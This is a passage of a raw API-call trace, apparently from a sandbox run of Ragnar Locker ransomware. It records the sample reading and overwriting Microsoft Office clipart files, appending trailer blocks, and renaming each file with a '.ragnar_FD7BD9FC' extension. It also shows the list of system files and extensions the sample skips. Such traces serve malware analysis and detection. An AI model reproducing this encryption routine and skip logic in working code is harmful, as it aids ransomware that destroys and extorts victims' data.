lpNumberOfBytesWritten=0x1eaf30*=0x964, lpOverlapped=0x0) returned 1 [0081.888] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x964, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.888] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.888] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.888] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.888] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.888] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.888] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.888] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.888] GetProcessHeap () returned 0x580000 [0081.888] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.888] CloseHandle (hObject=0xf4) returned 1 [0081.888] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" [0081.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.ragnar_FD7BD9FC" [0081.888] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.889] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0081.889] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.889] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01171_.WMF" | out: lpString1="DD01171_.WMF") returned="DD01171_.WMF" [0081.889] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned=".WMF" [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="autorun.inf") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="boot.ini") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="bootfont.bin") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="bootsect.bak") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="bootmgr") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="bootmgr.efi") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="desktop.ini") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="iconcache.db") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="ntldr") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="ntuser.dat") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="ntuser.ini") returned -1 [0081.889] lstrcmpiW (lpString1="DD01171_.WMF", lpString2="thumbs.db") returned -1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.889] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0081.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.890] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2052) returned 1 [0081.890] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.890] GetProcessHeap () returned 0x580000 [0081.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.890] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.891] VirtualAlloc (lpAddress=0x0, dwSize=0x804, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.891] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.891] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.892] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x804, lpOverlapped=0x0) returned 1 [0081.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.892] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x804, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.892] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x804, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x804, lpOverlapped=0x0) returned 1 [0081.892] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x804, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.892] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.892] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.892] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.892] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.892] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.892] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.892] GetProcessHeap () returned 0x580000 [0081.893] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.893] CloseHandle (hObject=0xf4) returned 1 [0081.893] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" [0081.893] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.ragnar_FD7BD9FC" [0081.893] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.893] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0081.893] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.893] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01172_.WMF" | out: lpString1="DD01172_.WMF") returned="DD01172_.WMF" [0081.893] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned=".WMF" [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="autorun.inf") returned 1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="boot.ini") returned 1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="bootfont.bin") returned 1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="bootsect.bak") returned 1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="bootmgr") returned 1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="bootmgr.efi") returned 1 [0081.893] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="desktop.ini") returned -1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="iconcache.db") returned -1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="ntldr") returned -1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="ntuser.dat") returned -1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="ntuser.ini") returned -1 [0081.894] lstrcmpiW (lpString1="DD01172_.WMF", lpString2="thumbs.db") returned -1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.894] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0081.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.894] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2232) returned 1 [0081.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.894] GetProcessHeap () returned 0x580000 [0081.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.894] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.896] VirtualAlloc (lpAddress=0x0, dwSize=0x8b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.896] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b8, lpOverlapped=0x0) returned 1 [0081.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.896] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.896] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b8, lpOverlapped=0x0) returned 1 [0081.897] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.897] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.897] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.897] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.897] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.897] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.897] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.897] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.897] GetProcessHeap () returned 0x580000 [0081.897] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.897] CloseHandle (hObject=0xf4) returned 1 [0081.897] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" [0081.897] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.ragnar_FD7BD9FC" [0081.897] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.898] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0081.898] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.898] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01173_.WMF" | out: lpString1="DD01173_.WMF") returned="DD01173_.WMF" [0081.898] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned=".WMF" [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="autorun.inf") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="boot.ini") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="bootfont.bin") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="bootsect.bak") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="bootmgr") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="bootmgr.efi") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="desktop.ini") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="iconcache.db") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="ntldr") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="ntuser.dat") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="ntuser.ini") returned -1 [0081.898] lstrcmpiW (lpString1="DD01173_.WMF", lpString2="thumbs.db") returned -1 [0081.898] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.898] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.899] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.899] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.899] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.899] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.899] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0081.899] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.900] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1804) returned 1 [0081.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x703, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.900] GetProcessHeap () returned 0x580000 [0081.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.900] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.901] VirtualAlloc (lpAddress=0x0, dwSize=0x70c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.901] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.901] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.902] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x70c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x70c, lpOverlapped=0x0) returned 1 [0081.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.902] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x70c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.902] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x70c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x70c, lpOverlapped=0x0) returned 1 [0081.902] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x70c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.902] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x70c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.902] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.902] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, 